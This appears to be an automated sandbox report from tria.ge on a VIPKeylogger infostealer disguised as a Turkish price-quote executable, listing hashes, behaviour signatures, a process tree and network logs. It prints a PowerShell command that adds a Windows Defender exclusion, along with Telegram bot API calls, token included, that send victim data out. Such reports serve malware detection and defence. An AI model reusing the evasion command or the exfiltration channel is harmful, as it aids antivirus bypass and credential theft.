Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
147s -
max time network
141s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
05/12/2024, 08:11 UTC
Static task
static1
Behavioral task
behavioral1
Sample
FiyatTeklifi_2038900001-MOKAPTO-05122024.exe
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
FiyatTeklifi_2038900001-MOKAPTO-05122024.exe
Resource
win10v2004-20241007-en
General
-
Target
FiyatTeklifi_2038900001-MOKAPTO-05122024.exe
-
Size
795KB
-
MD5
7b4761516aa1fbcfad048f1f0244b8e0
-
SHA1
eb9f16a0a3757a8b9c08a04bdb51426425ebe21d
-
SHA256
14c9b9cfa57fa740104895756018c09d8797f4c873284e7f3a9bc711c01d2db0
-
SHA512
6e8842ef95a1e275856a2cf4cccd895e71f294390b6f79eab88552d93ad6581630c7cc69d6d273d2dbf2db1feb039afa708e9cf31c50138e1dd345aeb930dbe3
-
SSDEEP
24576:PBnZMAl06nQUsfrLZfJiDxqb+xFoYgvB5js:PBnZzlTQVTVuxTa
Malware Config
Extracted
vipkeylogger
Signatures
-
VIPKeylogger
VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.
-
Vipkeylogger family
-
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 5064 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Control Panel\International\Geo\Nation FiyatTeklifi_2038900001-MOKAPTO-05122024.exe -
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
-
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 FiyatTeklifi_2038900001-MOKAPTO-05122024.exe Key opened \REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 FiyatTeklifi_2038900001-MOKAPTO-05122024.exe Key opened \REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 FiyatTeklifi_2038900001-MOKAPTO-05122024.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 18 checkip.dyndns.org -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 1340 set thread context of 1052 1340 FiyatTeklifi_2038900001-MOKAPTO-05122024.exe 85 -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language FiyatTeklifi_2038900001-MOKAPTO-05122024.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language FiyatTeklifi_2038900001-MOKAPTO-05122024.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe -
Suspicious behavior: EnumeratesProcesses 6 IoCs
pid Process 1340 FiyatTeklifi_2038900001-MOKAPTO-05122024.exe 1340 FiyatTeklifi_2038900001-MOKAPTO-05122024.exe 1052 FiyatTeklifi_2038900001-MOKAPTO-05122024.exe 5064 powershell.exe 5064 powershell.exe 1052 FiyatTeklifi_2038900001-MOKAPTO-05122024.exe -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 1052 FiyatTeklifi_2038900001-MOKAPTO-05122024.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
description pid Process Token: SeDebugPrivilege 1340 FiyatTeklifi_2038900001-MOKAPTO-05122024.exe Token: SeDebugPrivilege 1052 FiyatTeklifi_2038900001-MOKAPTO-05122024.exe Token: SeDebugPrivilege 5064 powershell.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 1052 FiyatTeklifi_2038900001-MOKAPTO-05122024.exe -
Suspicious use of WriteProcessMemory 11 IoCs
description pid Process procid_target PID 1340 wrote to memory of 5064 1340 FiyatTeklifi_2038900001-MOKAPTO-05122024.exe 84 PID 1340 wrote to memory of 5064 1340 FiyatTeklifi_2038900001-MOKAPTO-05122024.exe 84 PID 1340 wrote to memory of 5064 1340 FiyatTeklifi_2038900001-MOKAPTO-05122024.exe 84 PID 1340 wrote to memory of 1052 1340 FiyatTeklifi_2038900001-MOKAPTO-05122024.exe 85 PID 1340 wrote to memory of 1052 1340 FiyatTeklifi_2038900001-MOKAPTO-05122024.exe 85 PID 1340 wrote to memory of 1052 1340 FiyatTeklifi_2038900001-MOKAPTO-05122024.exe 85 PID 1340 wrote to memory of 1052 1340 FiyatTeklifi_2038900001-MOKAPTO-05122024.exe 85 PID 1340 wrote to memory of 1052 1340 FiyatTeklifi_2038900001-MOKAPTO-05122024.exe 85 PID 1340 wrote to memory of 1052 1340 FiyatTeklifi_2038900001-MOKAPTO-05122024.exe 85 PID 1340 wrote to memory of 1052 1340 FiyatTeklifi_2038900001-MOKAPTO-05122024.exe 85 PID 1340 wrote to memory of 1052 1340 FiyatTeklifi_2038900001-MOKAPTO-05122024.exe 85 -
outlook_office_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 FiyatTeklifi_2038900001-MOKAPTO-05122024.exe -
outlook_win_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 FiyatTeklifi_2038900001-MOKAPTO-05122024.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\FiyatTeklifi_2038900001-MOKAPTO-05122024.exe"C:\Users\Admin\AppData\Local\Temp\FiyatTeklifi_2038900001-MOKAPTO-05122024.exe"1⤵
- Checks computer location settings
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1340 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\FiyatTeklifi_2038900001-MOKAPTO-05122024.exe"2⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5064
-
-
C:\Users\Admin\AppData\Local\Temp\FiyatTeklifi_2038900001-MOKAPTO-05122024.exe"C:\Users\Admin\AppData\Local\Temp\FiyatTeklifi_2038900001-MOKAPTO-05122024.exe"2⤵
- Accesses Microsoft Outlook profiles
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- outlook_office_path
- outlook_win_path
PID:1052
-
Network
-
Remote address:8.8.8.8:53Request8.8.8.8.in-addr.arpaIN PTRResponse8.8.8.8.in-addr.arpaIN PTRdnsgoogle
-
Remote address:8.8.8.8:53Request13.86.106.20.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request172.214.232.199.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request20.160.190.20.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request95.221.229.192.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request149.220.183.52.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Requestcheckip.dyndns.orgIN AResponsecheckip.dyndns.orgIN CNAMEcheckip.dyndns.comcheckip.dyndns.comIN A132.226.8.169checkip.dyndns.comIN A193.122.130.0checkip.dyndns.comIN A158.101.44.242checkip.dyndns.comIN A132.226.247.73checkip.dyndns.comIN A193.122.6.168
-
Remote address:132.226.8.169:80RequestGET / HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
Host: checkip.dyndns.org
Connection: Keep-Alive
ResponseHTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 106
Connection: keep-alive
Cache-Control: no-cache
Pragma: no-cache
-
Remote address:132.226.8.169:80RequestGET / HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
Host: checkip.dyndns.org
ResponseHTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 106
Connection: keep-alive
Cache-Control: no-cache
Pragma: no-cache
-
Remote address:132.226.8.169:80RequestGET / HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
Host: checkip.dyndns.org
ResponseHTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 106
Connection: keep-alive
Cache-Control: no-cache
Pragma: no-cache
-
Remote address:132.226.8.169:80RequestGET / HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
Host: checkip.dyndns.org
ResponseHTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 106
Connection: keep-alive
Cache-Control: no-cache
Pragma: no-cache
-
Remote address:132.226.8.169:80RequestGET / HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
Host: checkip.dyndns.org
ResponseHTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 106
Connection: keep-alive
Cache-Control: no-cache
Pragma: no-cache
-
Remote address:132.226.8.169:80RequestGET / HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
Host: checkip.dyndns.org
ResponseHTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 106
Connection: keep-alive
Cache-Control: no-cache
Pragma: no-cache
-
Remote address:132.226.8.169:80RequestGET / HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
Host: checkip.dyndns.org
ResponseHTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 106
Connection: keep-alive
Cache-Control: no-cache
Pragma: no-cache
-
Remote address:132.226.8.169:80RequestGET / HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
Host: checkip.dyndns.org
ResponseHTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 106
Connection: keep-alive
Cache-Control: no-cache
Pragma: no-cache
-
Remote address:132.226.8.169:80RequestGET / HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
Host: checkip.dyndns.org
ResponseHTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 106
Connection: keep-alive
Cache-Control: no-cache
Pragma: no-cache
-
Remote address:132.226.8.169:80RequestGET / HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
Host: checkip.dyndns.org
ResponseHTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 106
Connection: keep-alive
Cache-Control: no-cache
Pragma: no-cache
-
Remote address:8.8.8.8:53Requestreallyfreegeoip.orgIN AResponsereallyfreegeoip.orgIN A172.67.177.134reallyfreegeoip.orgIN A104.21.67.152
-
Remote address:172.67.177.134:443RequestGET /xml/181.215.176.83 HTTP/1.1
Host: reallyfreegeoip.org
Connection: Keep-Alive
ResponseHTTP/1.1 200 OK
Content-Type: text/xml
Content-Length: 356
Connection: keep-alive
Cache-Control: max-age=31536000
CF-Cache-Status: HIT
Age: 1873786
Last-Modified: Wed, 13 Nov 2024 15:42:26 GMT
Accept-Ranges: bytes
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gtYqCGrql3ZHUxyeCkxE1nVwsEPTLlmdybWAX2l4ct29amN9RXbGHlpJyQiv1cxFUl6%2Bq5OqzRPhzxhyjbbZmQH%2Fzix%2B4kbhFHld%2Bd0N%2FWETXn6EFH%2F4k0FxG9GdG%2B1PfZ9PaQrF"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 8ed291e17963944f-LHR
alt-svc: h3=":443"; ma=86400
server-timing: cfL4;desc="?proto=TCP&rtt=33749&min_rtt=30102&rtt_var=11401&sent=5&recv=6&lost=0&retrans=0&sent_bytes=3010&recv_bytes=390&delivery_rate=118580&cwnd=253&unsent_bytes=0&cid=0965be8c737c606b&ts=101&x=0"
-
Remote address:172.67.177.134:443RequestGET /xml/181.215.176.83 HTTP/1.1
Host: reallyfreegeoip.org
ResponseHTTP/1.1 200 OK
Content-Type: text/xml
Content-Length: 356
Connection: keep-alive
Cache-Control: max-age=31536000
CF-Cache-Status: HIT
Age: 1873786
Last-Modified: Wed, 13 Nov 2024 15:42:26 GMT
Accept-Ranges: bytes
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Ur6D%2BMRlBGo6iNCBlCi32GPHxWo2QXY6KVDlMH2EXazvx1s84Oqp6ho%2Br7zTLUulRDNQA%2Fs7olzDGRdM5GUdvAT3XxMEqYr9gMCOfsGRrkKFECwqFaf7I1W2tIzuo2ny8X8nxNCn"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 8ed291e39b62944f-LHR
alt-svc: h3=":443"; ma=86400
server-timing: cfL4;desc="?proto=TCP&rtt=39516&min_rtt=30102&rtt_var=20084&sent=6&recv=8&lost=0&retrans=0&sent_bytes=4288&recv_bytes=482&delivery_rate=118580&cwnd=254&unsent_bytes=0&cid=0965be8c737c606b&ts=436&x=0"
-
Remote address:172.67.177.134:443RequestGET /xml/181.215.176.83 HTTP/1.1
Host: reallyfreegeoip.org
ResponseHTTP/1.1 200 OK
Content-Type: text/xml
Content-Length: 356
Connection: keep-alive
Cache-Control: max-age=31536000
CF-Cache-Status: HIT
Age: 1873787
Last-Modified: Wed, 13 Nov 2024 15:42:26 GMT
Accept-Ranges: bytes
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=oUlVxD%2FKgrdMonB45WkR8Y8BQ%2FvAQrJONiKYHvSKKzaQxSFRXDrs%2Fmzqvy0KoxE6JMBHWApZH1u5CnDR3wfwAyrayfaeiFgoVuH%2FNbnT2tRZrG%2FVbel34LGj2Fm1RI0PJjo4bi9j"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 8ed291e5bdfa944f-LHR
alt-svc: h3=":443"; ma=86400
server-timing: cfL4;desc="?proto=TCP&rtt=43685&min_rtt=30102&rtt_var=23401&sent=7&recv=10&lost=0&retrans=0&sent_bytes=5558&recv_bytes=574&delivery_rate=118580&cwnd=255&unsent_bytes=0&cid=0965be8c737c606b&ts=776&x=0"
-
Remote address:172.67.177.134:443RequestGET /xml/181.215.176.83 HTTP/1.1
Host: reallyfreegeoip.org
ResponseHTTP/1.1 200 OK
Content-Type: text/xml
Content-Length: 356
Connection: keep-alive
Cache-Control: max-age=31536000
CF-Cache-Status: HIT
Age: 1873787
Last-Modified: Wed, 13 Nov 2024 15:42:26 GMT
Accept-Ranges: bytes
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9h%2BnitnGRQ8F%2BDnPf%2Bk9FGBY2Ay8f4%2Fp1R4fyIjNdlX%2F5TcP0ZIlXInQTIS2jIceUfL7zA7DwjZrO2%2F2dQC4rraiNK%2B01uA4%2FJe4R6Mrpc1R6UONo%2BuHo%2BMPq0VtctZpEtEd2lBo"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 8ed291e7cfdb944f-LHR
alt-svc: h3=":443"; ma=86400
server-timing: cfL4;desc="?proto=TCP&rtt=47850&min_rtt=30102&rtt_var=25882&sent=8&recv=12&lost=0&retrans=0&sent_bytes=6833&recv_bytes=666&delivery_rate=118580&cwnd=256&unsent_bytes=0&cid=0965be8c737c606b&ts=1106&x=0"
-
Remote address:172.67.177.134:443RequestGET /xml/181.215.176.83 HTTP/1.1
Host: reallyfreegeoip.org
ResponseHTTP/1.1 200 OK
Content-Type: text/xml
Content-Length: 356
Connection: keep-alive
Cache-Control: max-age=31536000
CF-Cache-Status: HIT
Age: 1873787
Last-Modified: Wed, 13 Nov 2024 15:42:26 GMT
Accept-Ranges: bytes
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8VvaRz2H1P397yfi3kWnYDCoN%2Bd%2B1D0Eqzo%2B%2F0jbY%2F4EPtns0AHBzU%2BfUYIwiJ3s6QhQaiwXgBAhmFASEMQcPMIsyLaTxzjfErV7E09qjuMYn%2F1DPCcW8WO9oJvrxOfCxpPCePOk"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 8ed291e9d9da944f-LHR
alt-svc: h3=":443"; ma=86400
server-timing: cfL4;desc="?proto=TCP&rtt=50274&min_rtt=30102&rtt_var=24259&sent=9&recv=14&lost=0&retrans=0&sent_bytes=8119&recv_bytes=758&delivery_rate=118580&cwnd=257&unsent_bytes=0&cid=0965be8c737c606b&ts=1435&x=0"
-
Remote address:172.67.177.134:443RequestGET /xml/181.215.176.83 HTTP/1.1
Host: reallyfreegeoip.org
ResponseHTTP/1.1 200 OK
Content-Type: text/xml
Content-Length: 356
Connection: keep-alive
Cache-Control: max-age=31536000
CF-Cache-Status: HIT
Age: 1873788
Last-Modified: Wed, 13 Nov 2024 15:42:26 GMT
Accept-Ranges: bytes
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=zbDtPPUute5Gv2A80DOXql4mJKCaBtbrioOtVp%2FDalZGsp6rm4irp%2FyCk2H0uBFFZLJOe%2BArPcrd2Wj43mFjSm2t6jmsizjkY1K%2BnURvJGC13R2tuVJdRYC2QhVMhC%2BLxrVBpg3X"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 8ed291ebfc1d944f-LHR
alt-svc: h3=":443"; ma=86400
server-timing: cfL4;desc="?proto=TCP&rtt=54651&min_rtt=30102&rtt_var=26948&sent=10&recv=16&lost=0&retrans=0&sent_bytes=9399&recv_bytes=850&delivery_rate=118580&cwnd=257&unsent_bytes=0&cid=0965be8c737c606b&ts=1786&x=0"
-
Remote address:172.67.177.134:443RequestGET /xml/181.215.176.83 HTTP/1.1
Host: reallyfreegeoip.org
ResponseHTTP/1.1 200 OK
Content-Type: text/xml
Content-Length: 356
Connection: keep-alive
Cache-Control: max-age=31536000
CF-Cache-Status: HIT
Age: 1873788
Last-Modified: Wed, 13 Nov 2024 15:42:26 GMT
Accept-Ranges: bytes
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VeI1uL4wpLdp%2BHwWjtllFKkakHtyMDC8fbclUBZpX%2BcipOit12g9cef55sAMs97C6VQ9TZPC1TTISEGMOMFIKj54pxV23cgmd76EZkVEEI25Bu%2Bqxw9X2k0RL%2Frr0M2oZ5BP1O2v"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 8ed291ee1e8f944f-LHR
alt-svc: h3=":443"; ma=86400
server-timing: cfL4;desc="?proto=TCP&rtt=59012&min_rtt=30102&rtt_var=28932&sent=11&recv=18&lost=0&retrans=0&sent_bytes=10676&recv_bytes=942&delivery_rate=118580&cwnd=257&unsent_bytes=0&cid=0965be8c737c606b&ts=2118&x=0"
-
Remote address:172.67.177.134:443RequestGET /xml/181.215.176.83 HTTP/1.1
Host: reallyfreegeoip.org
ResponseHTTP/1.1 200 OK
Content-Type: text/xml
Content-Length: 356
Connection: keep-alive
Cache-Control: max-age=31536000
CF-Cache-Status: HIT
Age: 1873788
Last-Modified: Wed, 13 Nov 2024 15:42:26 GMT
Accept-Ranges: bytes
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2F%2FttJ22HVhHhF3viCOQua9uGWFzj3ZfudK%2BHPKWMLMTvw0MhYisUi%2FXv11%2Bc1BzXwAx%2FfauYNNNC1E99nBDc%2FcEDmdg%2BPj64U2HgUxMUMmwhwpfB970ZwomUqA6Zee5ZkKbzD%2BHa"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 8ed291f028b9944f-LHR
alt-svc: h3=":443"; ma=86400
server-timing: cfL4;desc="?proto=TCP&rtt=62957&min_rtt=30102&rtt_var=29590&sent=12&recv=20&lost=0&retrans=0&sent_bytes=11952&recv_bytes=1034&delivery_rate=118580&cwnd=257&unsent_bytes=0&cid=0965be8c737c606b&ts=2450&x=0"
-
Remote address:172.67.177.134:443RequestGET /xml/181.215.176.83 HTTP/1.1
Host: reallyfreegeoip.org
ResponseHTTP/1.1 200 OK
Content-Type: text/xml
Content-Length: 356
Connection: keep-alive
Cache-Control: max-age=31536000
CF-Cache-Status: HIT
Age: 1873789
Last-Modified: Wed, 13 Nov 2024 15:42:26 GMT
Accept-Ranges: bytes
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gMo3JqTFN4x7I8mg9Os2B%2B6wZRRcSd1FJU%2FBDblWkUxBC4WWB7AF85gMP4tTZh2b8pRdrbU4G%2F%2F98EJ9jiylAELafI3armrfpu5%2FhGOr0ppNvyl4mPQvq67fR4w3xkgIF2mi5u2Q"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 8ed291f25ace944f-LHR
alt-svc: h3=":443"; ma=86400
server-timing: cfL4;desc="?proto=TCP&rtt=72215&min_rtt=30102&rtt_var=40708&sent=13&recv=22&lost=0&retrans=0&sent_bytes=13239&recv_bytes=1126&delivery_rate=118580&cwnd=257&unsent_bytes=0&cid=0965be8c737c606b&ts=2795&x=0"
-
Remote address:8.8.8.8:53Request169.8.226.132.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request134.177.67.172.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Requestapi.telegram.orgIN AResponseapi.telegram.orgIN A149.154.167.220
-
GEThttps://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:HGNBWBGW%0D%0ADate%20and%20Time:%2012/5/2024%20/%208:12:13%20AM%0D%0ACountry%20Name:%20United%20Kingdom%0D%0A%5B%20HGNBWBGW%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5DFiyatTeklifi_2038900001-MOKAPTO-05122024.exeRemote address:149.154.167.220:443RequestGET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:HGNBWBGW%0D%0ADate%20and%20Time:%2012/5/2024%20/%208:12:13%20AM%0D%0ACountry%20Name:%20United%20Kingdom%0D%0A%5B%20HGNBWBGW%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1
Host: api.telegram.org
Connection: Keep-Alive
ResponseHTTP/1.1 404 Not Found
Date: Thu, 05 Dec 2024 08:12:15 GMT
Content-Type: application/json
Content-Length: 55
Connection: keep-alive
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
Access-Control-Allow-Origin: *
Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
-
POSThttps://api.telegram.org/bot7788746959:AAHVRg_rboBmXduq-hxmfZyCsRhTwRypGek/sendDocument?chat_id=-4534165643&caption=%20Pc%20Name:%20Admin%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20Admin%20%7C%20VIP%20RecoveryFiyatTeklifi_2038900001-MOKAPTO-05122024.exeRemote address:149.154.167.220:443RequestPOST /bot7788746959:AAHVRg_rboBmXduq-hxmfZyCsRhTwRypGek/sendDocument?chat_id=-4534165643&caption=%20Pc%20Name:%20Admin%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20Admin%20%7C%20VIP%20Recovery HTTP/1.1
Content-Type: multipart/form-data; boundary=------------------------8dd15048a7049c9
Host: api.telegram.org
Content-Length: 581
ResponseHTTP/1.1 200 OK
Date: Thu, 05 Dec 2024 08:12:21 GMT
Content-Type: application/json
Content-Length: 527
Connection: keep-alive
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: GET, POST, OPTIONS
Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
-
Remote address:8.8.8.8:53Request220.167.154.149.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request58.55.71.13.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request197.87.175.4.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request18.31.95.13.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request83.210.23.2.in-addr.arpaIN PTRResponse83.210.23.2.in-addr.arpaIN PTRa2-23-210-83deploystaticakamaitechnologiescom
-
Remote address:8.8.8.8:53Request13.227.111.52.in-addr.arpaIN PTRResponse
-
2.1kB 3.4kB 18 15
HTTP Request
GET http://checkip.dyndns.org/HTTP Response
200HTTP Request
GET http://checkip.dyndns.org/HTTP Response
200HTTP Request
GET http://checkip.dyndns.org/HTTP Response
200HTTP Request
GET http://checkip.dyndns.org/HTTP Response
200HTTP Request
GET http://checkip.dyndns.org/HTTP Response
200HTTP Request
GET http://checkip.dyndns.org/HTTP Response
200HTTP Request
GET http://checkip.dyndns.org/HTTP Response
200HTTP Request
GET http://checkip.dyndns.org/HTTP Response
200HTTP Request
GET http://checkip.dyndns.org/HTTP Response
200HTTP Request
GET http://checkip.dyndns.org/HTTP Response
200 -
172.67.177.134:443https://reallyfreegeoip.org/xml/181.215.176.83tls, httpFiyatTeklifi_2038900001-MOKAPTO-05122024.exe2.2kB 15.2kB 25 16
HTTP Request
GET https://reallyfreegeoip.org/xml/181.215.176.83HTTP Response
200HTTP Request
GET https://reallyfreegeoip.org/xml/181.215.176.83HTTP Response
200HTTP Request
GET https://reallyfreegeoip.org/xml/181.215.176.83HTTP Response
200HTTP Request
GET https://reallyfreegeoip.org/xml/181.215.176.83HTTP Response
200HTTP Request
GET https://reallyfreegeoip.org/xml/181.215.176.83HTTP Response
200HTTP Request
GET https://reallyfreegeoip.org/xml/181.215.176.83HTTP Response
200HTTP Request
GET https://reallyfreegeoip.org/xml/181.215.176.83HTTP Response
200HTTP Request
GET https://reallyfreegeoip.org/xml/181.215.176.83HTTP Response
200HTTP Request
GET https://reallyfreegeoip.org/xml/181.215.176.83HTTP Response
200 -
149.154.167.220:443https://api.telegram.org/bot7788746959:AAHVRg_rboBmXduq-hxmfZyCsRhTwRypGek/sendDocument?chat_id=-4534165643&caption=%20Pc%20Name:%20Admin%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20Admin%20%7C%20VIP%20Recoverytls, httpFiyatTeklifi_2038900001-MOKAPTO-05122024.exe2.3kB 7.8kB 14 14
HTTP Request
GET https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:HGNBWBGW%0D%0ADate%20and%20Time:%2012/5/2024%20/%208:12:13%20AM%0D%0ACountry%20Name:%20United%20Kingdom%0D%0A%5B%20HGNBWBGW%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5DHTTP Response
404HTTP Request
POST https://api.telegram.org/bot7788746959:AAHVRg_rboBmXduq-hxmfZyCsRhTwRypGek/sendDocument?chat_id=-4534165643&caption=%20Pc%20Name:%20Admin%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20Admin%20%7C%20VIP%20RecoveryHTTP Response
200
-
66 B 90 B 1 1
DNS Request
8.8.8.8.in-addr.arpa
-
71 B 157 B 1 1
DNS Request
13.86.106.20.in-addr.arpa
-
74 B 128 B 1 1
DNS Request
172.214.232.199.in-addr.arpa
-
72 B 158 B 1 1
DNS Request
20.160.190.20.in-addr.arpa
-
73 B 144 B 1 1
DNS Request
95.221.229.192.in-addr.arpa
-
73 B 147 B 1 1
